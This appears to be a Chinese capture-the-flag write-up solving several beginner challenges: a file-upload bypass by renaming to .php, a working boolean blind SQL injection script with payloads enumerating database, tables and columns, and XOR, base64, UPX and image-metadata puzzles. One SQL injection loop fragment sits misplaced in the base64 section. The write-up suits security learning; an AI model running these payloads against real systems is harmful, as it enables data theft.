点开是这样的
鼠标到url的地方然后ctrl+U查看源代码
文件上传的题
传一个jpg
抓包后修改文件名为pflag.php
flag
flag(AD_Qual_DOne_!)
打开就是我们的签到页面
用了现成的脚本,改了一下端口
import requests
url = "http://node6.anna.nssctf.cn:28089/copyright.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://node6.anna.nssctf.cn:28089/",
"Referer": "http://node6.anna.nssctf.cn:28089/"
}
# payload = "id=0'||if(ascii(substr((select%09database()),{},1))>{},1,0)#"
# payload = "id=0'||if(ascii(substr((select%09group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))>{},1,0)#"
# payload = "id=0'||if(ascii(substr((select%09group_concat(column_name)from(information_schema.columns)where(table_name='flag')),{},1))>{},1,0)#"
payload = "id=0'||if(ascii(substr((select%09group_concat(pctf)from(xitif_sql.flag)),{},1))>{},1,0)#"
flag =''
for i in range(1,100):
high = 128
low = 32
mid = (high+low)//2
while high>low:
payload1 =payload.format(i,mid)
response = requests.post(url=url, headers=headers, data=payload1)
# print(response.text)
# print(payload1)
if "flag{fake_flag}" in response.text:
low = mid +1
else:
high = mid
mid = (high+low)//2
if chr(mid) == " ":
break
flag += chr(mid)
print(flag)
# for i in range(1,50):
# for j in range(32,127):
# payload1 = payload.format(i,j)
# print(payload1)
# response = requests.post(url=url, headers=headers, data=payload1)
# print(response.text)
# if "flag{fake_flag}" not in response.text:
# flag += chr(j)
# print(flag)
# break
flag
flag{n1ce_y0u_g3t_my_f1ag_hhhhhhhhhh}
用ida打开就有flag 附件flag1(bdwp)
flag
flag{TLooking_glass_Insects}
附件xor.exe在ida打开,F5查看main函数(附件在bdwp)
把代码拿给gpt分析一通
要输出正确的 flag,首先需要理解程序的逻辑。程序似乎是检查用户输入的 flag 是否与特定的加密的 flag 相匹配。这里是一个简单的XOR加密,所以过程是可逆的。以下是程序的工作流程:
若要确定正确的 flag,你可以反转XOR操作。XOR有一个特性,即如果你对一个数值XOR两次相同的数值,你会得到原始数值:
A XOR B = C
C XOR B = A
因此,如果你有 enc[] 数组,可以通过将 enc[] 中的每个元素与 0x23 进行XOR操作来得到正确的 flag。以下是可能的C语言代码来执行此操作:
char enc[] = {/* 加密的flag数组,应该从程序的其它部分获得 */};
char flag[109]; // 108 + 1 ,因为最后需要一个空字符 '\0' 来结束字符串
for (int i = 0; i <= 0x2C; ++i) {
flag[i] = enc[i] ^ 0x23u;
}
flag[0x2D] = '\0'; // 添加字符串终止符
puts(flag); // 输出解密后的flag
在这个代码中,enc[] 应当是程序其他部分的一个数组,包含了XOR操作后的 flag。这个代码示例将会打印出正确的 flag。请注意,这段代码假设加密的 flag 的长度是45个字符,即 0x2C + 1,因为数组索引是从0开始的。如果加密的 flag 长度不同,你需要调整循环的条件来匹配实际长度。
在实际情况中,恢复 flag 还要求你能够访问 enc 数组的内容,这通常会在挑战文件的其它部分给出,或者可能需要通过逆向工程的方式从二进制执行文件中提取。
最后运行的代码
#include
int main() {
char enc[] = {'E','O','B','D','X','@','L','M','D','Q','B','W','V','O','B','W','J','L','M','|','Z','L','V','Q','|','B','Q','F','|','Q','F','B','O','O','Z','|','H','M','L','T','|','[','L','Q','^'};
char flag[109]; // 108 + 1 ,因为最后需要一个空字符 '\0' 来结束字符串
for (int i = 0; i <= 0x2C; ++i) {
flag[i] = enc[i] ^ 0x23u;
}
flag[0x2D] = '\0'; // 添加字符串终止符
puts(flag); // 输出解密后的flag
return 0;
}
flag
flag{congratulation_your_are_really_know_xor}
附件baby_python.py(bdwp)
import base64
a = input()
b = []
for i in a:
b.append(chr(ord(i) ^ 0x10))
b = "".join(b)
if(bytes.decode(base64.b64encode(b.encode('utf-8'))) == "dnxxd2tAaWR4X35PIWNPYnVxISEpT3l+ZHVidWNkWX53IWkxMTFt"):
print("You are right!!!")
else:
print("nonono,try again.")
找了现成的脚本
import base64
def decrypt(encoded_str):
decoded_bytes=base64.b64decode(encoded_str)
decoded_str = decoded_bytes.decode('utf-8')
decrypted=[]
for char in decoded_str:
decrypted_char = chr(ord(char)^0x10)
decrypted.append(decrypted_char)
return ''.join(decrypted)
encrypted_string="dnxxd2tAaWR4X35PIWNPYnVxISEpT3l+ZHVidWNkWX53IWkxMTFt"
decrypted_result = decrypt(encrypted_string)
print(decrypted_result)
for i in range(0,50):
for j in range(0,256):
payload1 =payload.format(i,j)
data = {
"username": payload1,
"password": "123"
}
request = requests.post(url, data)
if "yes" in request.text:
print(chr(j),end="")
print()
print(payload1)
flag
flag{PythOn_1s_rea119_interestIng1y!!!}
有一个附件upx.exe(bdwp)
去搜了一下发现upx是逆向工具,去下载了upx工具脱壳
not packed by UPX显示没有壳,我已经脱过了
upx -d "X:\download firefox\upx.exe"
脱壳后用ida查看main函数
下面是main函数代码(C)
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[108]; // [rsp+20h] [rbp-70h] BYREF
unsigned int i; // [rsp+8Ch] [rbp-4h]
_main();
printf("please input your flag:");
scanf("%s", v4);
for ( i = 0; i <= 0x1E; ++i )
{
if ( (unsigned __int8)rol((unsigned int)v4[i], 3i64) != encode[i] )
{
printf("your input is wrong, try again~~~");
exit(0);
}
}
return printf("your flag is right");
}
这段代码是一个简单的加密检验程序,它要求用户输入一个所谓的“flag”,然后对这个输入字符串的每个字符进行循环左移(rotate left)操作,并与一个名为 encode 的数组进行比较。若输入字符串的处理结果与 encode 数组的内容匹配,则表示输入的flag是正确的。
要获取flag的值,你需要知道 encode 数组里的值,并且理解 rol 函数是如何运作的。rol 函数将字符的位向左移指定的位数,在这个例子中是3位,并且是循环移位,即移出的位会重新从右边进入。
以下是获取 flag 的大致步骤:
简单分析了一下
要找到encode
alt+t快捷搜索即可找到
def ror(val, r_bits, max_bits: int = 8) -> int:
"""向右循环移动val的r_bits位。"""
return (val >> (max_bits - r_bits)) | (val << r_bits) & ((1 << max_bits) - 1)
encoded = [
0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x2F, 0x66, 0x6E, 0xEB, 0x2F,
0x06, 0xAA, 0xEB, 0x6D, 0xC9, 0x06, 0xCE, 0xCE, 0xEB, 0xAA,
0x0E, 0x0F, 0xEB, 0xEE, 0x66, 0x8D, 0x8D, 0x24, 0x24, 0x24,
0xAF
]
# 由于我们知道输入的字符数量是30个(0x1E + 1),我们可以直接解码这么多字符
decoded_flag = ''
for byte in encoded[:30]: # 只取前30个字节
decoded_flag += chr(ror(byte, 3))
print(f"The flag is: {decoded_flag}")
flag
flag{y3s_y0U_kN0vv_Upx_w3ll!!!}
附件一张图片
flag
flag{pctfiamcoming}
flag格式:flag{比赛名称_美术馆名称}
附件给了一张图片和一段文字,可以看图片详细信息里有拍摄时间加经纬度
flag
flag{美亚杯_白瓷观止美术馆}